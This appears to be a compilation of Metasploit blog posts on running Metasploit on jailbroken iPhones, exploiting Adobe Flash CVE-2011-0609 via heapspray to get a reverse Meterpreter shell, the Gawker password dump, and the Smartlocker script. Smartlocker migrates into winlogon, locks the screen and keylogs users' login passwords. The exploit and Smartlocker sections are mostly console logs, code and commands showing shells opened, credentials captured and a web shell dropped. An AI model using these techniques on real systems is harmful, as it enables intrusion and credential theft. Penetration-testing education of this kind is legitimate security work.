Metasploit on IPhone 4S and IPad 2

With the recent Absinthe Jailbreak which opens up firmware 5.1.1 to Cydia, we once again tried to get Metasploit running on these iBabies. After a bit of fiddling around with various ruby package versions, its seems like the following combination works well with the latest version of Metasploit 4.4.0-dev (as of May 2012).

Of course, you need a jailbroken iPhone or iPad, with apt, OpenSSH server and a SSH client, such as iSSH. Once you are SSH’ed to your iPhone / iPad, run the following commands:

# Install basic tools
apt-get update
apt-get dist-upgrade
apt-get install wget subversion

# Download correct version of ruby and dependencies
wget http://ininjas.com/repo/debs/ruby_1.9.2-p180-1-1_iphoneos-arm.deb
wget http://ininjas.com/repo/debs/iconv_1.14-1_iphoneos-arm.deb
wget http://ininjas.com/repo/debs/zlib_1.2.3-1_iphoneos-arm.deb

# Install them
dpkg -i iconv_1.14-1_iphoneos-arm.deb
dpkg -i zlib_1.2.3-1_iphoneos-arm.deb
dpkg -i ruby_1.9.2-p180-1-1_iphoneos-arm.deb

# Delete them
rm -rf *.deb

# Go into /private var and svn checkout the msf trunk.
# Don't download the MSF tar.gz due to svn client versioning issues

cd /private/var
svn co https://www.metasploit.com/svn/framework3/trunk/ msf3
cd msf3/

# Check that Metasploit is running
ruby msfconsole

As no blog post is complete without a reverse shell screenshot, here’s a popped shell from the iPhone:

Info from Offensive-Security.com

New module for Metasploit Framework

SecureState released a new auxiliary module for the Metasploit Framework that can reduce the amount of time that it takes to visually fingerprint large amounts of web servers.


During penetration tests, consultants often need to target web applications in order to find “low hanging” vulnerabilities, such as default password configurations and out of date software. This task can be very difficult on large networks that are home to many hosts with different web servers, often running on a variety of ports.


In this situation, penetration testers must often resort to running port scans and opening potential web servers in a browser one by one. This is a very time consuming and tedious task.


The new module, called "page_collector," takes a range of hosts in the typical RHOSTS fashion and checks a user-definable list of ports for web services using both HTTP and HTTPS. Each successfully identified web server then gets a corresponding iFrame in an output file.


The result is a single HTML document that, when loaded by the attacker, presents them with an easy to view list of hosts.


Using this, penetration testers can reduce the overhead usually required to find such “low hanging fruit” as Tomcat and JBoss installations, as well as generic login pages.

Metasploit vs MS Office

Watch video on-line: http://blip.tv/g0tmi1k/metasploit-vs-microsoft-office-5241818

Download video: http://www.mediafire.com/?qr6c0h9gva90mvv


great thanks to gotmi1k you are the man! bro

Metasploit - Adobe Flash CVE-2011-0609

Recently, I spent about a week and a half working on the latest 0-day Flash vulnerability. I released a working exploit on March 22nd 2011. The original exploit was just an attempt to get something working out the door for all of our users. The first attempt left a lot to be desired. To understand the crux of this vulnerability and what needed to be done to improve the first attempt at exploiting it I had to dig in deep into ActionScript.

ActionScript is a language which is embedded into an SWF file in the form of a bytecode stream. The embedded bytecode stream is handled by the ActionScript Virtual Machine (AVM) which is tasked with verifying the bytecode and generating native code. This process is commonly referred to as JIT (Just In Time) compiling.

The cause of this specific vulnerability is due to a one byte alteration (fuzzing) within an original well formed bytecode stream found in a file called addLabels.swf. The bytecode passes the verification process and the native code is generated and placed in VirtualAlloc()'d executable memory. The specific results of this code executing is that uninitialized memory is referenced.

(fb4.9a0): Access violation - code c0000005 (!!! second chance !!!)
eax=02b38c89 ebx=02b46b20 ecx=02b78040 edx=40027f2b esi=02b467c0 edi=02b5d1f0
eip=02b7558e esp=0013e0e8 ebp=0013e180 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h] ds:0023:40027f9b=????????

0:000> dd eax+8
02b38c91  40027f2b 21029780 0002b36d e8180000
02b38ca1  01026d56 34800041 000263d9 08000000
02b38cb1  0a000000 e8000000 01026d56 43800042
02b38cc1  000263d9 05000000 0a000000 e8000000
02b38cd1  01026d56 58800043 000263d9 0c000000
02b38ce1  0a000000 e8000000 01026d56 7a800044
02b38cf1  000263d9 06000000 0a000000 e8000000
02b38d01  01026d56 9c800045 000263d9 08000000

0:000> u eip
02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h]
02b75591 8d559c          lea     edx,[ebp-64h]
02b75594 89459c          mov     dword ptr [ebp-64h],eax
02b75597 8b01            mov     eax,dword ptr [ecx]
02b75599 52              push    edx
02b7559a 6a00            push    0
02b7559c 51              push    ecx
02b7559d ffd0            call    eax

The memory being referenced is uninitialized. To control this memory heapspraying is required. The original exploit used heapspraying within JavaScript. This worked but it was not very reliable.

The solution was to preform the heapspray within a SWF file which loads the trigger SWF. Using HeapLib.as from Roee Hay I was able to get some basic heapspraying accomplished. This is a lot more reliable because it is using the same Heap management routines Flash uses to allocate memory. A copy of the ActionScript source code I used for this exploit can be found in the exploit.as source file.

Now that I have reliable control over the unintialized memory. Whats the next task? The next task is simply constructing the memory in such a way that the call eax instruction in the JIT code executes my shellcode. This was easily done using the good old Skylined technique of using an address which doubles as a nop instruction (0x0d0d0d0d ftw!).

The next major hurdle I had to over come was now that I have execution control what do I execute? While testing I was using a hardcoded payload within the ActionScript which simply executed calc.exe. This just was not going to cut it. A few initial options came to mind, I could hardcode a meterpreter payload. This was not very dynamic at all and so I had to come up with something else. The next option I thought of was using an egghunter payload to find shellcode I could inject in some other fashion. This would work but really limited things to a lot of payload specifics for example if the hardcoded egghunter payload was for a different architecture than the targeted machine things would blow up and break. That would be pretty tragic since all the conditions for getting a shell would be in place but everything breaks due to the dependencies of a hardcoded payload.

Finally, I came to conclusion I needed to find a way to dynamically read a payload using ActionScript. Now I can simply make a HTTP request for a text file and read in the ASCII hexadecimal representation of the payload. After decoding the payload it can be applied to the heapspray code and now we have dynamic payloads in memory. W00t!

      =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 672 exploits - 345 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
      =[ svn r12149 updated today (2011.03.26)

msf > use exploit/windows/browser/adobe_flashplayer_avm
msf exploit(adobe_flashplayer_avm) > set URIPATH /
URIPATH => /
msf exploit(adobe_flashplayer_avm) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.108:4444
[*] Using URL: http://0.0.0.0:8080/
msf exploit(adobe_flashplayer_avm) >
[*]  Local IP: http://192.168.0.108:8080/
[*] Server started.
[*] Sending Adobe Flash Player AVM Bytecode Verification Vulnerability HTML to 192.168.0.102:3646
[*] Sending Exploit SWF
[*] Sending stage (749056 bytes) to 192.168.0.102
[*] Meterpreter session 1 opened (192.168.0.108:4444 -> 192.168.0.102:3648) at 2011-03-26 15:23:18 -0400
[*] Session ID 1 (192.168.0.108:4444 -> 192.168.0.102:3648) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2376)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 4092
[*] New server process: notepad.exe (4092)
msf exploit(adobe_flashplayer_avm) > sessions

Active sessions
===============
 Id  Type                   Information                                  Connection
 --  ----                   -----------                                  ----------
 1   meterpreter x86/win32  WXPPROSP2-001\Administrator @ WXPPROSP2-001  192.168.0.108:4444 -> 192.168.0.102:3648

msf exploit(adobe_flashplayer_avm) >

Thats the entire process it took to create a reliable exploit for this vulnerability. I hope you enjoy all the sessions =).
 

by bannedit from Metasploit blog 

The Weakest Link: Defeating passwords in 2010 Martin Bos a.k.a. purehate from Adrian Crenshaw on Vimeo.

Semipublic Password Dumps

I woke up this morning to find reddits abuzz with the latest password dump, this time from Gawker and related properties. The splashy headline is usually something around "1.3 million Gawker passwords leaked." I wanted to write a couple words here since the areas of credential management, password complexity, and attack mitigation are all near and dear to my heart.

Firstly, the "1.3 million passwords" figure is a little bit of a misnomer. There are a bunch of files floating around the torrent sites, one of which is, indeed, a "full" database dump of usernames, encrypted passwords, and e-mail addresses. That file is 1,247,894 lines. Trouble is, the raw data isn't normalized at all, and so there are actually right around a half million e-mail addresses, and something close to ~200k complete username + password + e-mail address credentials. That all said, the data most people are actually looking at today is 188,281 credentials strong, which is the pre-cracked list of credentials distributed with the drop (one exception are the guys at Duo Security, who are cracking the DES-encrypted passwords independently).

Secondly, these passwords, in the main, are not very high value, which is assuredly one reason why they were released. In very modern jurisdictions like California and the EU, the leak of e-mail addresses is much more serious. These passwords are just not that big of a deal, since they're used for by people to comment on celebrity gossip, so these kinds of throwaway credentials are pretty common for public blogs.

This reminds me of something that a pen-test friend once said -- while "password" and "123456" are pretty common tokens on the Internet -- just look at the SkullSecurity lists. However, you find them a whole lot less on intranets, since your company's administrator is probably enforcing some kind of complexity and rotation policy. For internal networks, you find dates and days of the week a lot more often as passwords, since something like "Dec-13-2010" meets most complexity requirements and is really easy to rotate on a schedule.

Of course, some of these are (were) legit passwords that will (did) work against Twitter, Facebook, and e-mail accounts with the same username, but I wouldn't get all apoplectic over them. Rest assured, of the passwords that also work (worked) for e-mail addresses have almost certainly already been compromised. Two hundred thousand credentials is not all that hard to churn through with even college-kid resources.

Finally, the password dump itself is, while headline-grabbing, less interesting to incident response and computer forensics dorks than the clues in the collateral files as to how the attackers got access in the first place. It looks like it's a pretty typical PHP attack vector, and, as Egyp7 once quipped, "PHP is a virtual machine for shellcode." Clearly, some level of source code security auditing would have gone a long way to help Gawker avoid these headlines today. In addition, there's the whole secondary story that the attackers also gained access to Gawker's content management system (CMS). This is a huge deal -- like most purely online businesses, Gawker takes their code's secrecy pretty seriously.

At any rate, public dumps of actual passwords like these are always interesting from a research perspective -- it's nice to have the opportunity to check in on the current state of throwaway accounts. While this all sucks for Gawker, the security community benefits from large-ish datasets like this, since papers get written and there are renewed pushes for proper encryption of stored passwords and passwordless authentication schemes. Hopefully, the overall security posture of the Internet ends up improved.

Capturing Windows Logons with Smartlocker

Oftentimes during a penetration test engagement, a bit of finesse goes a long way. One of the most effective ways to capture the clear-text user password from a compromised Windows machine is through the "keylogrecorder" Meterpreter script. This script can migrate into the winlogon.exe process, start capturing keystrokes, and then lock the user's desktop (the -k option). When the user enters their password to unlock their desktop, you now have their password. This, while funny and effective, can raise undue suspicion, especially when conducted across multiple systems at the same time. A smarter approach is to wait for a predetermined amount of idle time before locking the screen.

Enter Smartlocker. Smartlocker is a Meterpreter script written by CG and mubix that is similar to keylogrecorder (some code was even copied directly from it, thank you Carlos). But, unlike keylogrecorder, Smartlocker is designed to use a lighter touch when it comes to obtaining the user's password. Unlike keylogrecorder, Smartlocker is solely focused on obtaining passwords from winlogon.exe. Since winlogon only sees the keystrokes that happen when a login occurs, the resulting log file only contains the username and password. Perfect, right?

Smartlocker addressed three shortcomings with using keylogrecorder to capture login credentials.

1. If there are two winlogon processes on the machine, keylogrecorder will migrate into one, and then the other, many times rendering your meterpreter session dead or otherwise unusable. While this is a corner case, I have come across it during penetration tests, and its something that will be addressed in an upcoming fix to keylogrecorder. The other problem when there are two winlogon processes is that you can’t be sure which process you need to be in to be capture the active user's password.

2. The user is locked out instantly if the "-k" option is selected. While 80% of the target users may barely flinch at this, it will certainly stand out as odd behavior. This behavior will be even more suspicious if the user just opened an attachment or browsed to something they shouldn't have. That extra bit of "weirdness" may push them to make that help desk call...not good.

3. You have to jump through hoops to identify when the user has logged back in. One way to do this is through screen captures, but this is a manual and time intensive process. Idle time is also an imperfect marker as a user might have pushed the mouse by accident.

Smartlocker does it’s best to solve these issues.

Fade to cube farm...

John Doe is a graphic designer for ACME Co. He just clicked your link and was kind enough to give you a reverse Meterpreter session. You’ve looked around John’s system and found nothing of interest except for learning that John is a SharePoint admin on the local MS SharePoint server. SMB isn’t working, so you decide to go after SharePoint itself and you need John’s actual password for this task. But John is smart (or thought he was before he still clicked your link), his password is 25 characters, making it difficult to crack from dumping the MS Cache hash value.

Smartlocker’s options:

Usage:
OPTIONS:

-b Heartbeat time between idle checks. Default is 30 seconds.
-h Help menu.
-i Idletime to wait before locking the screen automatically. Default 300 seconds (5 minutes).
-p Target PID - used when multiple Winlogon sessions are present.
-t Time interval in seconds between recollection of keystrokes, default 30 seconds.

A quick check to see if John’s computer is set to lock out automatically:

meterpreter > getuid
Server username: ACME\johnd
meterpreter > reg queryval -k "HKCU\\Control Panel\\Desktop" -v ScreenSaverIsSecure
Key: HKCU\Control Panel\Desktop
Name: ScreenSaverIsSecure
Type: REG_SZ
Data: 0

And it isn’t, so we’ll be going with Smartlocker’s default setting, which is a time based approach. The script checks to see if the target user account is an administrator and if so, finds all the winlogon processes running on John’s box. Since there is only one, Smartlocker automatically migrates to it and starts listening for keystrokes.

The following code polls the idle time of John’s box every $heartbeat seconds until the actual idle time reaches the $idletime threshold and then force-locks John’s box:

currentidle = session.ui.idle_time
print_status("System has currently been idle for #{currentidle} seconds")
while currentidle <= idletime do print_status("Current Idletime: #{currentidle} seconds")
sleep(heartbeat) currentidle = session.ui.idle_time end client.railgun.user32.LockWorkStation()

This is where it basically just runs Carlos’ code and starts the keylogger, pulling the keystrokes out of memory every $heartbeat seconds. But, the cool part is, before it wraps back around to keep keylogging, it does a check to see if the user has logged back in. GetForegroundWindow is a Windows API call utilized through railgun which is process specific, and in winlogon’s case, it is only ever non-zero when the computer is locked or logged out. So a pretty simple IF statement stops the key logger automagically when it’s achieved its goal.

still_locked = client.railgun.user32.GetForegroundWindow()['return'] if still_locked == 0
print_status("They logged back in! Money time!") raise 'win' end sleep(keytime.to_i) end
rescue::Exception => e
if e.message != 'win'
print("\n")
print_status("#{e.class} #{e}")
end
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop

Here is the script in action on John’s box, you can even see where the idle time went back down to 12 when John moved his mouse:

meterpreter > run smartlocker
[*] Found WINLOGON at PID:644
[*] Migrating from PID:2532
[*] Migrated to WINLOGON PID: 644 successfully
[*] System has currently been idle for 12 seconds
[*] Current Idletime: 12 seconds
[*] Current Idletime: 42 seconds
[*] Current Idletime: 73 seconds
[*] Current Idletime: 12 seconds
[*] Current Idletime: 42 seconds
[*] Current Idletime: 72 seconds
[*] Current Idletime: 103 seconds
[*] Current Idletime: 133 seconds
[*] Current Idletime: 164 seconds
[*] Current Idletime: 194 seconds
[*] Current Idletime: 224 seconds
[*] Current Idletime: 255 seconds
[*] Current Idletime: 285 seconds
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
meterpreter > background
msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
design4life$uper12#07#76!

Now, with John’s password we login to the SharePoint server, drop an ASP web shell, hook the local MS SQL database using the clear-text passwords found on the box and get a Meterpreter binary going on the SharePoint server [1].

[1] http://www.room362.com/blog/2010/5/7/0exploit-privilege-escalation.html

Now we run Smartlocker again and this time it identifies multiple instances of winlogon running, most likely because someone is using Remote Desktop to access this system. One thing to note, for the session ID for each winlogon instance, 0 is always the base console and any other number is some sort of remote login. Session ID is not something you’ll get from Meterpreter’s "ps" command so take note of which PID you are going to target.

Quick note: Any windows system that is configured to only allow one active ‘session’ such as XP, Vista and Windows 7 actually records the login keystrokes on Session 0 even though it creates a new winlogon instance, where as systems with terminal services, like 2k,2k3,2k8, the keystrokes are processed by each winlogon process respectively to their session.

meterpreter > run smartlocker
[-] Multiple WINLOGON processes found, run manually and specify pid
[-] Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session
[*] Winlogon.exe - PID: 892 - Session: 0
[*] Winlogon.exe - PID: 415 - Session: 3

Using the "-p" option with "415" as the PID of the winlogon instance we are targeting (since it’s a Windows 2008 server), we run Smartlocker again, and use the ‘-w’ option to simply wait for the user / admin to lock out their session instead of locking it for them.

meterpreter > run smartlocker -p 415 -w
[*] WINLOGON PID:415 specified. I'm trusting you..
[*] Migrating from PID:1788
[*] Migrated to WINLOGON PID: 415 successfully
[*] Waiting for user to lock their session out
[*] Session has been locked out
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
meterpreter > background
msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
M@sterD0mainAdm!n221
msf >

Bingo! Domain Admin. Not just that, but their clear-text password.